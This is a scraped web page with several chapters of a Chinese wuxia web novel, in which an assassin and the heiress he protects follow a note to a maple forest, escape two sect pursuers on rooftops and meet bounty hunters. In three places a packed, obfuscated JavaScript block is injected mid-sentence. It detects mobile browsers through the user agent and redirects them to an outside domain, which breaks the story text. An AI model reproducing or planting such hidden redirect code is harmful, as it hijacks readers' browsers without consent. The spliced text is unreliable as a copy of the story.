那册子翻开,里面是按某种顺序排列的名单和简单信息——是暗杀榜的更新名录。无忏快速扫过,目光在依旧是他自己的榜首和后面一些名字上略微停顿,又往后翻了几页,似乎在确认什么信息。片刻后,他合上册子,推回给狸花猫。 狸花猫掌柜收起册子,然后从柜台下叼出一把系着木牌的钥匙,写着“甲三”,放在银票旁边。这意味着,大部分钱已寄存,房已备好。 但事情还没完。狸花猫掌柜并未像完成交易般立刻趴下,而是又转身,从活板后叼出一张折叠好的、比之前纸条稍厚些的纸笺,放在无忏面前。然后,它蹲坐下来,尾巴盘好,琥珀色的眼睛看看无忏,又看看江晚怜,似乎在等他们看内容。 无忏拿起纸笺展开。江晚怜也凑过去看。 上面没有称谓,没有落款,只有六个清峻的小字: 枫叶林,忘尘处。 字迹与落霞镇白猫掌柜提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17012889|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 供的纸条风格一致,显然是同一“系统”的留言。 枫叶林?忘尘处?是指另一个忘尘客栈吗?在枫叶林里?江晚怜一头雾水。无忏盯着这六个字看了几秒,眼中若有所思,但也没说什么,将纸笺收起。 “有吃的吗?”江晚怜忍不住小声问,肚子适时地叫了一声。他们一整天就吃了点干粮。 狸花猫掌柜耳朵动了动,看起来是听懂了。它“喵”了一声,跳下柜台,跑到通往后厨的门帘边,用爪子扒拉了一下挂在旁边的一个小铃铛。 “叮铃”一声轻响。 很快,一个穿着干净粗布衣服的年轻伙计从后厨掀帘出来,对柜台边的两人视若无睹,只对狸花猫掌柜微微躬身,然后安静地等着。 狸花猫掌柜“喵喵”叫了几声,用爪子比划了几下。伙计点点头,转身回了后厨。不多时,端出的托盘上不再是简单的素面酱菜:是两碗汤色乳白、铺着卤肉和青菜的鸡汤肉丝面,一碟切得精细的酱牛肉,一碟清爽的凉拌时蔬,还有两个表皮酥黄、撒着芝麻的烧饼。伙计沉默地摆好,躬身退下,依旧没有多余的视线交流。 江晚怜看着这意外丰盛的一餐,眼睛亮了:“我的天啊……”她压低声音,自己上次吃的这么豪华是在什么时候!? 无忏已经坐下,拿起筷子:“吃。” 两人在空荡荡的大堂里安静而迅速地解决了这顿质量颇高的夜宵,味道很好,热食彻底驱散了夜寒和疲惫。期间只有狸花猫掌柜重新玩起线团的细微声响。 吃完上楼,房间相邻,窄小但还算干净。江晚怜后进房,关上门,插好门闩,背靠着门板长出一口气,总算暂时安全了。 夜色中的青石镇寂静而紧绷,远处偶尔传来几声犬吠,更添几分不安。 前路依然迷雾重重。 ——与此同时,青石镇外约十里,官道旁的茶棚。 两匹累得不行的马被拴在桩上。叶玖和李子遥坐在简陋的棚下,就着凉水啃着干粮。他们比无忏二人晚了大半天抵达这片区域。 “师姐,问过了,前面就是青石镇,今天守备突然严了很多,盘查很紧,说是可能有重犯流窜至此。”李子遥低声道,眼中闪着光:“会不会……” 叶玖没有立刻回答,她望着青石镇方向隐约的灯火轮廓,手指无意识地摩挲着腰间软剑的剑柄。这一路追踪,痕迹时断时续,但方向大致指向南方,青石镇是南下路上的一个节点。 镇上突然加强戒备,是因为官府得到了风声?还是……他们真的在里面? “师命”两个字再次沉甸甸地压上心头,但另一个声音也在问:江晚怜,江家主唯一的女儿,真的必须“格杀”吗?灭门夜到底发生了什么?无忏又为何带着她? “天亮前,我们绕到镇子侧面看看。”叶玖最终开口道,声音有些干涩:“不要惊动守卫,若他们在镇上……必会留下痕迹。” 她需要确认。在做出最终抉择之前,她需要亲眼看到,亲耳听到,亲手……触摸到真相的边缘。 夜色掩映下,猎手与目标的距离,已缩短到区区十里。 而那张指向枫叶林的纸条,如同黑暗中一道微弱的引线,不知将把身处漩涡中心的两人,引向何方。 30. 你们又来!! 江晚怜睡醒了。 严格来说,是被晒在眼皮上的、明晃晃的热意,和一道存在感极强的、平静的视线给“盯”醒的。 她迷迷糊糊睁开眼,首先看到的是客栈房梁上积着的薄灰,然后眼珠往旁边一挪——无忏那张看着有些可怖的脸就杵在床边不远处,逆着光,异色的眸子正安静地看着她,也不知道看了多久。 “!!!”江晚怜吓得一个激灵,彻底清醒,差点从床上弹起来:“你你你……站这儿干嘛?!”她下意识拉起被子往身上遮了遮,虽然她穿着整整齐齐的浅藕荷色裙子,但这人悄无声息杵在这儿也太吓人了! “巳时三刻了。”无忏语气平淡地陈述。 “什、什么刻?”江晚怜脑子还有点懵,对古代计时法不太敏感。 “日上三竿。”无忏换了个说法。 江晚怜扭头看向窗户,果然,阳光亮得刺眼。她居然一觉睡到了大中午!大概是连日奔逃加上昨夜那顿安心饭,让紧绷的神经彻底松懈了。 “你怎么不早叫我?”她一边手忙脚乱地爬起来整理睡得乱七八糟的头发,一边抱怨。 “叫了。”无忏转身走到桌边,看着窗:“你没醒。”他甚至补充了一句—— “还说梦话了。” 江晚怜动作一僵,有种不祥的预感:“……我说什么了?” “洋芋,鸡柳,还有……”无忏顿了顿,似乎在回忆:“‘这破路什么时候是个头’。” “……”江晚怜松了口气,还好没说什么“穿越”、“漫画”之类的鬼话。她挠挠头,试图挽尊:“那是我在思考人生!……现在什么情况?外面怎么样?” “人多。”无忏走到窗边,将窗纸捅开一个极小的孔,向外观察。 “午时将近,客栈最喧闹时,不宜从正门出入。” 江晚怜凑过去,也眯着眼从那小孔往外瞧。果然,巷子尽头传来隐约的嘈杂人声,比昨晚那种死寂紧绷多了许多活气,但也意味着更多眼睛。 “那怎么办?总不能一直待在这儿吧?” 无忏收回目光,看向房间另一侧那扇小小的、通往客栈后方窄巷的窗户:“从这走,上房顶。” “啊?”江晚怜还没反应过来,就见无忏已经利落地推开那扇小窗,单手一撑,身形轻盈地翻了出去,随即从窗外伸进一只手。 “房楼多,上房顶,较快还安全。”他的声音从外面传来。 江晚怜认命地叹了口气,把手递给他。无忏握住她的手腕,微一用力,便将她带出了窗外,落在一条堆着杂物的狭窄后巷里。紧接着,他指了指旁边一户人家低矮的院墙和相邻的屋顶。 接下来的半刻钟,江晚怜体验了一把“房顶跑酷(低配版)”。在无忏的协助下,她手脚并用地爬墙、被拎上房檐、在屋脊上小心翼翼地挪动,好几次差点滑下去,全凭无忏及时拽住她的后领。等终于在一处较高的、可以俯瞰大半个青石镇的酒楼房顶背阴处趴好时,她已经出了一身冷汗,头发上还沾了片不知道哪儿来的枯叶。 “我说……咱们下次能不能提前商量个……稍微体面点的出行方式?”她喘着气,小声抗议。 无忏没理她,目光已经投向镇外连绵起伏的山野。秋意已浓,远处山峦层林尽染,红黄绿交错,宛如打翻的调色盘。他在寻找任何可能与“枫叶林”三个字相符的大片红色。 江晚怜也顺着他的目光看去。景色确实壮美,但她对“枫叶林”毫无头绪,只觉得哪片山看起来都差不多。看了一会儿,眼睛都花了,她忍不住开始小声嘀咕:“这得找到什么时候去……是不是得找个本地人问问?哎,你看那边那片红,是不是比较像?……哦,好像只是几棵杂树。那边呢?……好像也不够密……” 无忏被她嗡嗡嗡的嘀咕声吵得眉头微蹙,但依旧专注地扫视着。忽然,他目光一凝,定在镇子东南方向约两三里外的一处山坳。那里背阴,林木格外茂密,其中一片颜色深红似火,范围不小,且地势相对隐蔽。 他刚想示意江晚怜看那边,眼角余光却猛地瞥见下方巷口,两道熟悉的身影正快速拐入他们所在的这条街! 腰佩长剑的青年,以及一身利落鹅黄色衣裳,腰缠软剑的女子——正是李子遥和叶玖!他们显然也在暗中查探,避开了主街,专挑僻静巷子走,此刻正朝着他们所在的这栋酒楼方向而来,似乎在观察地形。 冤家路窄! 无忏瞬间按住江晚怜的肩膀,将她往屋脊阴影深处带了带,同时屏息凝神。 江晚怜也看到了那两人,心脏猛地一跳,立刻闭嘴,连呼吸都放轻了。她看着叶玖清冷警惕的侧脸和李子遥四处打量的眼神,心里暗叫倒霉。怎么到哪儿都能碰上! 下方,叶玖忽然停下脚步,抬头,目光锐利地扫过周围的屋顶。她的直觉极其敏锐。 “师姐?”李子遥低声问。 “没事。”叶玖摇摇头,但眉头微锁,手已经按在了软剑剑柄上。她总觉得……有什么在看着他们。 屋顶上,江晚怜紧张得手心冒汗,一动不敢动。无忏的手依旧稳稳按在她肩上,力道不重,却带着一种镇定的意味。 然而,就在这紧绷的时刻,一只灰扑扑的鸽子不知从哪儿扑棱棱飞过来,好死不死地落在了江晚怜头顶不远处的瓦片上,歪着脑袋,“咕咕”叫了两声。 江晚怜:“……” 无忏:“……” 下方,叶玖和李子遥闻声,霍然抬头,目光精准地锁定了他们藏身的屋脊! 空气凝固了一瞬。 “在上面!”李子遥厉喝一声,长剑已然出鞘,足下一点,竟直接跃起,借助巷墙的凹凸处两次借力,直扑屋顶!叶玖的动作比他更快更轻,软剑如银蛇出洞,无声无息地卷向无忏所在的方向! “靠!”江晚怜只来得及爆出一句粗口,就被无忏一把推开,踉跄着退到屋脊另一侧。 无忏的黑剑已然在手,剑尖轻点,精准地荡开叶玖刁钻刺来的软剑剑尖,发出“叮”一声轻响。同时他侧身避开李子遥劈来的一剑,顺势一脚踢在瓦片上,几片碎瓦激射向李子遥面门,逼得他回剑格挡。 “江晚怜!你果然与这魔头沆瀣一气!”李子遥挡开碎瓦,怒视着躲在后面的江晚怜。 江晚怜想回一句“沆瀣你个头”,但眼下保命要紧。她手无寸铁,只能尽量缩在墙体后面,减少存在感。 叶玖的软剑攻势如潮, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17013798|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连绵不绝,专攻无忏必救之处,显然是想缠住他。而李子遥则试图绕过无忏,直取江晚怜。 无忏以一敌二,在狭窄的屋脊上腾挪闪避,黑剑化作一道道乌光,将两人的攻势尽数接下,显得游刃有余,但也被暂时拖住。 眼看李子遥寻到一个空隙,一剑刺向烟囱后的江晚怜,无忏眼神一冷,格开叶玖一剑的同时,左手在怀间一抹,一道寒光脱手飞出,直奔江晚怜! “接着!” 江晚怜下意识伸手一抓,入手冰凉沉重——是那柄熟悉的短匕! 李子遥的剑已到眼前!江晚怜脑子一片空白,全靠求生本能,闭着眼睛,握着匕首胡乱向前一挥! “嘶啦——” 布料撕裂的声音响起。 预想中的剧痛没有到来。江晚怜小心翼翼地睁开一只眼,只见李子遥正惊怒交加地低头看着自己的衣袍下摆——那里被划开了一道半尺长的口子,露出了里面的衬裤,而她的匕首尖上,勾着一小片灰色的布料。 她……把人家的袍子划破了? 李子遥的脸瞬间涨红,也不知是气的还是羞的。 “你……!”他咬牙切齿,剑势更猛。 “子遥!小心!”叶玖的惊呼传来。原来无忏趁李子遥分神的刹那,剑势陡然凌厉,逼退叶玖的同时,黑剑如鬼魅般贴上了李子遥的手腕,只需轻轻一送,便能废了他这只手! 叶玖救援不及,脸色发白。 然而,无忏的剑却在触及皮肤的瞬间顿住了。他没有下杀手,只是用剑身巧妙一敲。 “铛!” 李子遥手腕剧震,长剑脱手飞出,在空中转了几圈,“哐当”一声掉在了下面的巷子里。 李子遥握着自己发麻的手腕,又惊又怒,又带着一丝难以置信——对方刚才明明可以…… “走。” 无忏不再恋战,低喝一声,身形一晃,已来到江晚怜身边,揽住她的腰,直接从酒楼另一侧更高的屋顶纵身跃下,落入后方更复杂的巷道群中,几个起落便不见了踪影。 叶玖扶住脸色难看的李子遥,没有去追。她看着无忏消失的方向,又看了看李子遥被划破的衣摆和地上那柄孤零零的长剑,清丽的脸上神色复杂难明。 刚才那一瞬间的留手……是无忏刻意为之?为什么? 而此刻,被无忏紧紧抓住手腕一路狂奔的江晚怜,手里还死死攥着那柄短匕,心有余悸。风在耳边呼啸,两旁的屋檐巷道飞速倒退,她跑得跌跌撞撞,全靠前面那只手传来的不容置疑的力道带着往前冲。 “我……我好像把他裤子划破了?”她在风声中艰难地开口。 “嗯。”无忏的声音从头顶传来,似乎顿了顿,然后补了一句,语气依旧平淡,却让江晚怜莫名听出了……无奈? “准头太差。” 江晚怜:“……”这是重点吗?!还有,刚才差点被捅死的人是我好吗! 不过,劫后余生的感觉,以及手里这柄染上一点点敌人衣料的匕首,让她忽然觉得,自己好像……也不是完全只能拖后腿? 她能给人划破衣服了!呃——虽然是无意的。 嗯,这也算……进步吧?大概。 31. 秋色渐浓 巷道纵横如蛛网,青石板路被岁月磨得发亮,沾着晨露与泥泞。江晚怜被无忏拽着胳膊,踉跄着穿过一条又一条僻静小巷,心脏还在胸腔里狂跳不止,手心攥着的短匕沁出了薄汗。 “呼……呼……”她扶着斑驳的土墙,大口喘着气,腿软得几乎站不住,“刚才……刚才真是吓死我了!李子遥那剑差点就戳过来了!”她下意识摸了摸自己的胸口,仿佛还能感受到那道凌厉的剑气。 无忏停下脚步,侧身挡在她身前,异色的眸子快速扫过巷口两端,确认追兵未跟来,才转过身看向她。晨光透过巷壁间的缝隙斜射进来,落在他玄色衣袍上,映出细碎的光点。 “没受伤?” “没有没有!”江晚怜连忙摇头,随即又想起什么,脸上涌上一丝难以掩饰的得意,举起手中的短匕,匕尖还勾着一小片布料,“你看!我把他的袍子划破了!虽然……虽然是瞎挥的,但好歹没让他得逞!”她语气雀跃,像是打赢了一场大胜仗,完全忘了刚才吓到的模样。 无忏的目光落在那片布料上,又瞥了眼她亮晶晶的眼睛,吐出两个字:“侥幸。” “哎,侥幸也是本事啊!”江晚怜不服气地嘟囔,却也知道他说的是实话。她收起匕首,忽然想起正事:“对了,我们现在去哪?那张纸条,到底是什么意思?” 无忏望向巷子深处,那里隐约能听到些许嘈杂的人声,却不算密集。“找个地方看看。”他顿了顿,补充道:“这巷子连通镇西杂役区,人多眼杂但不惹眼。” 两人顺着巷道往前走,渐渐走出了纯粹的僻静,周围开始出现低矮的棚屋和零星的行人。大多是挑着担子的货郎、挎着菜篮的妇人,还有些游手好闲的汉子靠在墙角闲聊,空气中混杂着煤烟、饭菜和潮湿泥土的气息,透着一股市井底层的烟火气与杂乱感。 江晚怜紧紧跟在无忏身后,尽量压低脑袋,避免引人注目。无忏则将剑斜挎在身后,周身那股生人勿近的气息让旁人下意识避开,倒也省了不少麻烦。 他们在一处墙角停下,旁边是两个蹲在地上闲聊的老汉,正有一搭没一搭地闲聊。 “……你听说了吗?南边那片红枫山,最近可不太平。”一个老汗神神秘秘的说。 “红枫山?不就是那片长满枫叶的破山吗?能有什么不太平?”另一个老汉不以为然地撇嘴。 “嗨,你是不知道!”说话的老汉压低了声音,神秘兮兮的:“我那远房侄子,前几天去山里砍柴,说是看到了一座大客栈!青砖黛瓦,气派得很,门楣上还挂着个猫形的牌子。” 江晚怜和无忏对视一眼,都从对方眼中看到了异动。忘尘客栈?枫叶林? “瞎扯!”另一个老汉打断他:“红枫山我去过,除了石头和枫树,连个像样的屋子都没有,哪来的大客栈?怕不是你侄子砍柴砍糊涂了,见了山神庙认错了吧?” “我也这么说啊!”先前的老汉急了:“可他说看得真真的!还说那客栈邪乎得很,他想走近看看,刚到山脚就被一股莫名的力气挡回来了,再回头看,客栈又不见了!” “后来听山下的猎户说,那客栈只有有缘人才能看见,一般人去了,连影子都摸不着。” “有缘人?我看是撞了邪!”另一个老汉嗤笑一声,话题很快转到了别处,说起了镇上最近加强戒备的事。 江晚怜的心怦怦直跳,拉了拉无忏的衣袖,用口型无声地说:“枫叶林!忘尘客栈!” 无忏微微颔首,目光投向南方,那里正是红枫山的方向。他拉起江晚怜,继续沿着巷边往前走,脚步放得更轻了。 前方不远处,是一个小小的杂货摊,摊主是个独眼的老妇人,正低头整理着摊上的针头线脑。旁边几个衣衫褴褛的孩童围着一个挑着糖人担子的老汉,叽叽喳喳地吵闹着,间或夹杂着几句零碎的交谈。 “……我娘说,红枫山的枫叶林里有神仙住着,那客栈就是神仙开的!”一个扎着羊角辫的小女孩脆生生地说。 “才不是!我哥说那是黑店!专门抓迷路的人!”另一个小男孩反驳道。 “都不对!”一个稍大些的孩子压低声音,“我听镇上的武师说,那忘尘客栈是江湖上最神秘的据点,里面藏着好多秘密,只有顶尖的高手才能找到入口!” 江晚怜听得心头一动,这些零碎的传闻,恰好印证了纸条上的线索。红枫山的枫叶林里,果然有一座特殊的忘尘客栈,而且似乎并非实体存在,需要特定的条件才能看见。 无忏停下脚步,从怀中摸出几枚铜钱,递给江晚怜:“去问问她。” 江晚怜接过铜钱,了然地点点头。她整理了一下身上的浅藕荷色衣裙,尽量让自己看起来无害,走到杂货摊前,对着独眼老妇人露出一个腼腆的笑容:“婆婆,我想买块糖。” 老妇人抬起独眼,浑浊的目光打量了她一番,慢悠悠地从摊下摸出一块用红纸包着的麦芽糖,递了过去。“一文钱。” 江晚怜付了钱,接过糖,没有立刻离开,而是装作好奇地问:“婆婆,我刚才听旁边的小朋友说,南边红枫山的枫叶林里有座奇怪的客栈,您知道这事吗?” 老妇人的动作顿了顿,独眼眯了眯,语气平淡:“小孩子瞎念叨的,当不得真。” “可是他们说得有鼻子有眼的,还说只有有缘人才能看见呢。”江晚怜继续追问,语气带着孩童般的好奇。 老妇人沉默了片刻,才缓缓开口:“红枫山是有些古怪,每到深秋枫叶红透的时候,就总有人说看到过客栈。但大多是些跑江湖的,或者迷路的人,见过之后要么说不清楚位置,要么再也找不到了。”她顿了顿,声音压得更低,“镇上咱们都说,那地方邪性,劝人别去招惹。” “那您知道怎么才能找到那客栈吗?”江晚怜追问。 老妇人摇了摇头,摆了摆手:“不知道,也别打听了。小姑娘,江湖险恶,有些地方,知道得越多越危险。”她说着,便转过身去整理货物,不再理会她。 江晚怜碰了个软钉子,只好拿着糖回到无忏身边,把刚才听到的话复述了一遍。“感觉看起来这枫叶林的忘尘客栈是真的存在,确实很神秘,没人知道具体怎么找。” 无忏眉头微蹙,显然也在思索。 “有缘人……”他低声重复着这三个字,异色的眸子里闪过一丝探究。 就在这时,巷口传来一阵急促的脚步声,伴随着李子遥略显焦躁的声音:“师姐,他们肯定还在这附近!刚才那巷子岔路太多,我们分头找!” “不行,这里人多眼杂,无忏身法诡谲,分头找容易被他各个击破。”叶玖的声音紧随其后,清冷中带着一丝凝重,“而且,刚才他明明有机会伤你,却故意留手了,此事蹊跷,我们得小心行事。” 江晚怜和无忏脸色微变,迅速躲到杂货摊后方,借着摊位和棚屋的遮挡,屏住了呼吸。 脚步声越来越近,李子遥和叶玖的身影出现在巷口。李子遥的衣袍下摆果然破了一道长长的口子,脸上满是郁色,握着剑柄的手青筋微凸。叶玖跟在他身边,眉头紧锁,目光锐利地扫视着周围的环境,显然还在追查他们的踪迹。 “这杂役区鱼龙混杂,他们会不会已经离开了?”李子遥有些不耐烦地说,语气中带着挫败感。这已经是第二次让无忏和江晚怜从眼皮底下溜走,而且自己还落得个衣袍破损的狼狈下场。 叶玖没有说话,目光落在地上凌乱的脚印上,又看向周围行人的神色。她注意到了杂货摊后的动静,脚步微微一顿,正要上前,却被李子遥拉住了。 “师姐,别浪费时间了!我们还是去红枫山方向看看吧!说不定他们已经往那边去了!”李子遥说道,他想起之前追查的线索,红枫山似乎是南下的必经之路。 叶玖犹豫了一下,目光在杂货摊方向停留了片刻,最终还是点了点头。“也好,但切记不可大意,无忏心思深沉,江晚怜虽看似普通,却总能在关键时刻生出变数。”她的声音带着一丝不易察觉的复杂,想起刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17015989|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才江晚怜划破李子遥衣袍的那一下,虽显笨拙,却透着一股绝境求生的韧劲。 两人的脚步声渐渐远去,朝着镇南方向走去。 江晚怜和无忏这才松了口气,从杂货摊后走出来。 “他们也要去那个山?”江晚怜有些担忧:“这下麻烦了,要是被他们抢先找到忘尘客栈,我们就被动了。” 无忏摇了摇头:“他们不知道客栈的秘密,只是盲目追寻方向,找不到的。”他看向南方,眼神坚定,“我们走。” 两人不再停留,沿着巷尾的小路,朝着镇南而去。沿途又听到几个零星的传闻,有人说红枫山的枫叶林里藏着宝藏,也有人说那里是通往另一个世界的入口,但最多的,还是关于那座只对有缘人显现的忘尘客栈。 江晚怜越听越觉得神秘,心里既紧张又好奇。 “你说,这‘有缘人’到底是什么意思?是要武功高强,还是得有什么特殊的信物?” 无忏脚步未停,淡淡道:“或许。”他的手指无意识地摩挲着腰间的剑柄。 走出杂役区,前方的道路渐渐开阔,两旁的房屋越来越稀疏,远处的红枫山已隐约可见。那片山林连绵起伏,漫山遍野的枫叶红得似火,在阳光下熠熠生辉,远远望去,宛如一片燃烧的火海,壮丽而神秘。 “那就是红枫山?”江晚怜驻足远眺,眼中满是震撼。她从未见过如此壮观的枫叶林,难怪会流传出那么多离奇的传闻。 无忏颔首:“是。”他观察着山势,目光落在山脚下一片相对平缓的区域,“先找地方落脚,入夜后再进山。” 两人沿着山路旁的草丛,找到一处背风的山坳,暂时歇脚。江晚怜拿出刚才买的麦芽糖,掰了一半递给无忏:“尝尝?挺甜的。” 然后她突然想起,对了……他好像不喜欢吃甜食。江晚怜刚想收回来,无忏却先一步把那一半拿了回来。 无忏接过却没有吃,只是拿在手里。阳光透过枫叶的缝隙洒下来,落在他脸上,让那双异色的眼眸少了几分冰冷,多了些许柔和。 已经入秋了…… 江晚怜咬着糖,心里还在回味刚才划破李子遥衣袍的事。后怕渐渐褪去,只剩下满满的得意,她忍不住又说了一句:“刚才我反应还挺快的吧?下次再遇到他,我肯定能表现得更好!” 无忏看了她一眼,嘴角微扬,虽然依旧轻微,却被江晚怜捕捉到了。 “你笑了?”她惊喜地说道。 无忏立刻恢复了惯常的冷淡,转过头去:“没有。” 江晚怜却笑得更开心了,她知道,自己刚才那点微不足道的“战绩”,终究还是被他认可了。 山风拂过,带来枫叶的清香,也带来远处隐约的鸟鸣。江晚怜靠在树干上,看着不远处闭目养神的无忏,心里忽然安定下来。虽然前路依旧充满未知与危险,枫叶林的忘尘客栈不知能否找到,李子遥和叶玖也还在身后紧追不舍,但她不再像最初那样惶恐无助了。 她有了自保的勇气,有了可以依靠的同伴,更有了活下去的坚定信念。 夕阳西下,余晖将红枫山染成一片金红。无忏睁开眼,站起身:“走。” 江晚怜点点头,拍了拍身上的草屑,握紧了怀中的短匕,跟上无忏的脚步,朝着那片神秘的枫叶林,一步步走去。 而在他们身后不远处,李子遥和叶玖站在山脚下,望着茫茫的枫叶林,脸上满是凝重。 “师姐,这么大的林子,我们怎么找?”李子遥有些泄气。 叶玖深吸一口气,目光坚定:“找不到也要找。师尊有令,江家血案的真相,还有无忏的行踪,都必须查明。”她看向枫叶林深处,眼中闪过一丝挣扎,随即又被决绝取代,“哪怕是掘地三尺,也要把他们找出来。” 两人的身影渐渐融入暮色中的山林,一场围绕着枫叶林与忘尘客栈的追寻,才刚刚拉开序幕。青石镇的喧嚣渐渐远去,只剩下枫叶林的神秘与未知,在夜色中静静等待着闯入者。 32. 等待进入网审 枫叶林的暮色来得猝不及防。夕阳沉入远山,最后一缕霞光掠过红枫的梢头,林间便迅速被浓淡不一的阴影笼罩。晚风穿过枝叶缝隙,卷起满地碎红,发出沙沙的声响,像是某种隐秘的低语。 江晚怜跟着无忏在林间穿行,脚下的落叶堆积得厚厚的,踩上去绵软无声。她盯着前方那道玄色背影,心里把“路痴”两个字在肚子里翻来覆去骂了八百遍,嘴上却不敢说,只能在心里默默祈祷:千万别再绕圈了,求求了,哪怕让我看到块不一样的石头也行啊! “我说,”她终于小声开口,语气带着试探:“我们是不是……” 无忏脚步未停,抢在她说话前,头也不回地吐出两个字:“没有。” 又是没有! 江晚怜撇撇嘴,心里腹诽:鬼才信你!每次迷路都是这么说的!她正想再吐槽几句,忽然听到前方不远处传来一阵粗鲁的咒骂声,夹杂着树枝被踩断的脆响。 “他娘的!这破林子到底有多大?那狗屁客栈到底在哪?!”一个粗嘎的嗓音响起,满是不耐与暴躁。 “哥,别急,再找找?说不定就在前面呢?”另一个怯懦的声音附和道,带着明显的讨好。 无忏的脚步瞬间顿住,异色的眸子骤然收紧,侧身挡在江晚怜身前,做了个噤声的手势。 江晚怜立刻闭了嘴,心脏猛地提了起来。她小心翼翼地从无忏身后探出头,透过枝叶的缝隙望去,只见不远处的空地上,站着两个身影。 前面那个身材高壮,穿着一身灰扑扑的劲装,腰间别着一对短柄斧,斧刃泛着冷光,脸上横肉丛生,眉头拧成一个疙瘩,正是刚才咒骂的人。他旁边跟着个瘦小的青年,背着一把弩箭,眼神躲闪,看起来没什么底气。 两人显然也在林中迷路了,正焦躁地四处张望,目光扫过四周的枫树,满是贪婪与急切。 “是杀手?”江晚怜压低声音,用气音对无忏说,心里暗自叫苦:真是怕什么来什么,迷路就算了,还撞上同行,而且看这架势,来者不善。 无忏微微颔首,目光落在那高壮汉子腰间的短斧上,语气平淡:“什么垃圾?” 江晚怜心里一惊:这么拽?不过转念一想,他是暗杀榜榜首,拽点确实没有问题。 脾气较差的那人先察觉到了这边的动静,猛地转头望过来,看到无忏和江晚怜,眼睛瞬间亮了起来,像是饿狼看到了猎物。 “哟,这不是大名鼎鼎的榜首吗?”他咧嘴一笑,语气带着嘲讽:“怎么?榜首也迷路了?还有这位……”他的目光落在江晚怜身上,上下打量着,眼神贪婪。 “这不就是悬赏榜上的江家大小姐吗?真是得来全不费功夫!老子叫罗刚,旁边老子的小弟孙二” 另一人也认出了两人,脸上露出兴奋的神色,悄悄抬起了背上的弩箭,对准了他们。 江晚怜吓得往后缩了缩,下意识抓住了无忏的衣袖,有些无奈的在心里说道:唉……这种要钱不要命的人居然有这么多。 无忏不动声色地挣开她的手,往前踏出一步,周身的空气瞬间变得冰冷,那股无形的压迫感让罗刚和孙二都下意识后退了半步。 “滚。”他的声音没有任何起伏,却带着不容置疑的杀意。 罗刚被这股气势震慑了一下,但很快又反应过来,想到悬赏榜上那惊人的金额,贪婪压过了恐惧。“滚?榜首这话就不对了!”他挥舞了一下手中的短斧,“这江湖路是大家的,凭什么让我们滚?再说了,江大小姐的人头可是值大价钱,我们兄弟俩怎么能放过?” “哥说得对!”孙二附和道,手里的弩箭握得更紧了:“无忏,识相的就把江晚怜交出来,我们可以放你一马!” 江晚怜听得火冒三丈,忍不住骂道:“放什么屁话呢!就你们这俩货色,也配跟我们的榜首叫板!”她虽然害怕,但仗着有无忏在身边,胆气也壮了几分。 “臭娘们,还敢嘴硬!”罗刚被骂得火起,怒吼一声,挥舞着短斧就朝着江晚怜冲了过来,斧刃带着呼啸的风声,直劈而下。 “唉…”无忏低叹一声,一把将江晚怜推开,同时抽出背后的黑剑,剑身乌黑,却在昏暗的林间闪过一道冷冽的光。他手腕一翻,精准地格开了罗刚的短斧。 “铛!” 一声刺耳的金铁交鸣,罗刚只觉得一股巨大的力道顺着斧柄传来,震得他虎口发麻,短斧差点脱手而出。他惊骇地看着无忏,没想到对方的实力居然这么强。 孙二见状,立刻扣动扳机,一支淬了毒的弩箭带着破空声,直取无忏的后心。 “靠!背后偷袭,不要脸!”江晚怜刚才被推得踉跄了几步,此刻刚好站稳,看到这一幕,想也没想就捡起地上一块拳头大的石头,朝着孙二砸了过去。 她没什么准头,石头没砸中孙二,却刚好落在他脚边,吓了他一跳。就是这一愣神的功夫,无忏已经侧身避开了弩箭,黑剑如毒蛇出洞,直刺罗刚的肩膀。 罗刚慌忙后退,却还是慢了一步,肩膀被剑尖划开一道深深的口子,鲜血瞬间涌了出来,染红了灰色的劲装。“啊!”他惨叫一声,眼神里充满了恐惧。 “哥!”孙二惊呼一声,还想再射出一箭,却被无忏冰冷的目光锁定,吓得浑身一僵,手里的弩箭都差点掉在地上。 无忏没有趁胜追击,而是转身看向江晚怜,眉头微蹙:“别添乱。” “我这不是帮你嘛!”江晚怜喘着气,心里有点委屈,她也是想帮忙,又不是故意添乱。 罗刚捂着流血的肩膀,知道自己不是无忏的对手,眼神闪烁,忽然萌生了退意。但他又不甘心就这么放弃,目光在江晚怜身上扫过,心里打起了歪主意。他趁无忏注意力在江晚怜身上的间隙,猛地从怀里掏出一把飞镖,朝着江晚怜掷了过去。 无忏眼疾手快,一把将江晚怜拉到身后,同时挥剑将飞镖打落。 “玩的这么阴!?”江晚怜被吓得心有余悸,忍不住又骂了一句。 